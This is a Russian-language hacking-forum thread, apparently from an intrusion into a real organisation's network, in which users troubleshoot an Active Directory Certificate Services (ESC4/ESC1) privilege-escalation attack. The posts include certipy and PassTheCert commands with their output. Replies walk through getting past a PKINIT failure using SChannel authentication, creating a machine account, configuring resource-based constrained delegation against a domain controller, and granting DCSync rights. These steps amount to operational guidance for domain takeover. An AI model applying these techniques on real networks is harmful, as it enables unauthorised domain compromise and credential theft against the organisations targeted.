• XSS.stack #1 – первый литературный журнал от юзеров форума

PrivEsc Проблема с certipy auth KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)

Lawyer

RAM
Пользователь
Регистрация
09.02.2022
Сообщения
130
Реакции
82
Гарант сделки
1
Есть доступ где ADCS уязвим к ESC4 + ESC1 , request проходит успешно, получаем вывод
Код:
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 7735
[*] Got certificate with multiple identifications
    UPN: 'admin@domain.com'
    DNS Host Name: 'domaindc02.domain.com'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'admin_domaindc02.pfx'


Дальше при попытке авторизоваться с pfx файлом - на auth -pfx выкидывает ошибку , время синхронизировано , подскажите куда еще смотреть в чем может быть проблема? Содержание команды и ошибки:

Код:
certipy64.exe auth -pfx admin_domaindc02.pfx -dc-ip 172.16.206.74
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Exception in thread Thread-1:
Traceback (most recent call last):
  File "threading.py", line 1016, in _bootstrap_inner
  File "dns\win32util.py", line 48, in run
  File "dns\win32util.py", line 26, in _config_domain
AttributeError: 'NoneType' object has no attribute 'startswith'
[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'admin@domain.com'
    [1] DNS Host Name: 'domaindc02@domain.com'
> 0
[*] Using principal: domaindc02@domain.com
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
пробовал на разные дк, так же пробовал вместо UPN авторизацию по DNS но везде одинаковая ошибка - KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT
 
Проблема далеко не новая. Во-первых, тебе следует убедиться, что в шаблоне, из которого ты запрашиваешь сертификат, присутствуют все нужные EKU. Во-вторых, если копнуть глубже, то несложно догадаться, что KDC не поддерживает ассиметричную аутентификацию, а именно выполнение этапа AS-REQ с подписью таймстемпа своим сертификатом. Этот этап имеет название PKINIT. В таком случае следует попробовать пройти аутентификацию иначе, например, по SChannel. SChannel позволит также прийти на KDC, но с клиентской аутентификацией по TLS и предоставить свой сертификат. Что также позволит завершить этап предаутентификации. Для этого удобно использовать инструменты PassTheCert и вот вариант под Linux: PassTheCert.py .

С помощью этих инструментов проходи аутентификацию на LDAP, создавай комп, настраивай RBCD с него на, например, KDC. После чего эксплуатируй.

Вот WriteUp, который может помочь подробнее разобраться с этим механизмом:
- https://arz101.medium.com/vulnlab-push-13d1e89878ae
 
попробовал с пайтон скриптом
получил ошибку с биндом

Код:
python PassTheCert.py -crt DC01.crt -key DC01.key -domain CORP.org -dc-host DC01.CORP.org -action add_computer -computer-name SLAUGHLINROLLBACK$ -computer-pass FEARSGT#Y$3g2!3rqf
Impacket v0.10.1.dev1 - Copyright 2022 Fortra

{'result': 1, 'description': 'operationsError', 'dn': '', 'message': '000004DC: LdapErr: DSID-0C090DEF, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v2580\x00', 'referrals': None, 'type': 'addResponse'}

при использовании екзешника не видно под каким я пользователем

Код:
>.\PassTheCert.exe --server CORPdc01.CORP.org --cert-path CORPdc01.pfx --whoami
Querying LDAP As :

Вывод PassTheCert команды говорит о том что мы анонимно забиндились на лдапе?, поэтому и ошибку выдает, но не понимаю почему так, аккаунт входит в группу domain users

машин-квота у аккаунта 10, пробовал создавать машинный аккаунт, но выдает ошибку о том что аккаунт не может этого делать

выпускается сертификат успешно, но дальше получаю ошибки
 
попробовал с пайтон скриптом
получил ошибку с биндом

Код:
python PassTheCert.py -crt DC01.crt -key DC01.key -domain CORP.org -dc-host DC01.CORP.org -action add_computer -computer-name SLAUGHLINROLLBACK$ -computer-pass FEARSGT#Y$3g2!3rqf
Impacket v0.10.1.dev1 - Copyright 2022 Fortra

{'result': 1, 'description': 'operationsError', 'dn': '', 'message': '000004DC: LdapErr: DSID-0C090DEF, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v2580\x00', 'referrals': None, 'type': 'addResponse'}

при использовании екзешника не видно под каким я пользователем

Код:
>.\PassTheCert.exe --server CORPdc01.CORP.org --cert-path CORPdc01.pfx --whoami
Querying LDAP As :

Вывод PassTheCert команды говорит о том что мы анонимно забиндились на лдапе?, поэтому и ошибку выдает, но не понимаю почему так, аккаунт входит в группу domain users

машин-квота у аккаунта 10, пробовал создавать машинный аккаунт, но выдает ошибку о том что аккаунт не может этого делать

выпускается сертификат успешно, но дальше получаю ошибки
Была такая же проблема. Нужно выписать сертификат только на upn и доменного админа и дальше passthecert. И там можно гораздо проще сделать, добавляешь юзера или выбираешь любого и даешь ему права dsync.
 
Была такая же проблема. Нужно выписать сертификат только на upn и доменного админа и дальше passthecert. И там можно гораздо проще сделать, добавляешь юзера или выбираешь любого и даешь ему права dsync.
Как быть если серт дк? Никаких прав для passthecert он не имеет
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх